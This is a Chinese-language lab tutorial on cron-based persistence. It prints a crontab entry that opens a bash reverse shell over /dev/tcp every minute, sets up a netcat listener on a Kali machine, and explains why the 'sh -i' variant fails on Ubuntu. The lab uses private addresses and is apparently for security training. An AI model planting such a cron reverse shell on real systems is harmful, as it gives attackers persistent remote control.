实验环境
攻击者
操作系统:kali
IP:192.168.244.141
目标主机
操作系统:ubuntu
IP:192.168.244.151
实验步骤
目标主机构造任务计划
构造语句
* * * * * /bin/bash -c 'bash -i >& /dev/tcp/{ip}/{port} 0>&1'
语句解释
* * * * *
:这是 Cron 的时间表达式,表示这个命令将每分钟执行一次。具体含义是分别对应分钟、小时、天、月、星期几,这里都是 *
,表示每个可能的值,即每分钟执行一次。
/bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'
:这是要在 Cron 任务中执行的命令。
/bin/bash -c
:这个部分指定要执行的命令是用 Bash 解释执行。
'sh -i >& /dev/tcp/{ip}/{port} 0>&1'
:这是 Bash 命令本身,由单引号包围以确保整个命令被视为一个参数传递给 -c
选项。
0>&1
:将标准输入重定向到标准输出,确保输入输出的正常运行
>& /dev/tcp/{ip}/{port}
:
/dev/tcp/{ip}/{port}
是 Bash 的特殊构造,用于在 Bash 中通过 TCP 连接实现网络通信。/dev/tcp
是一个虚拟的目录,Bash 会将其解释为通过 TCP 连接进行数据传输。{ip}
和 {port}
分别应该替换为实际的目标 IP 地址和端口号。
>&
表示将标准输出和标准错误重定向到指定位置。
sh -i
:启动一个交互式的 Shell,这里使用 sh
是因为在某些系统上,sh
可能是 bash
的符号链接。
kali开启监听
nc
:是 netcat
命令的缩写,是一个网络工具,可以用来读取和写入网络连接中的数据。
-l
:表示 netcat
进入监听模式,即等待来自客户端的连接请求。
-p
:后面接端口号,表示要监听的端口号。例如,nc -lp 1234
就是在本地监听 1234 端口
监听成功
问题
当反弹语句为中启动交互shell时是sh -i这个如下列代码,监听会失败的
* * * * * /bin/bash -c 'sh -i >& /dev/tcp/{ip}/{port} 0>&1'
原因
在某些操作系统中,sh
可能被符号链接到bash
,这意味着虽然你使用的是sh
命令,实际上执行的是bash
解释器。sh
通常是指shell的默认符号链接,它可以指向系统中安装的任何shell(如bash
、dash
等)。所以再ubuntu使用sh反弹shell时没有成功,但是使用bash反弹shell成功了。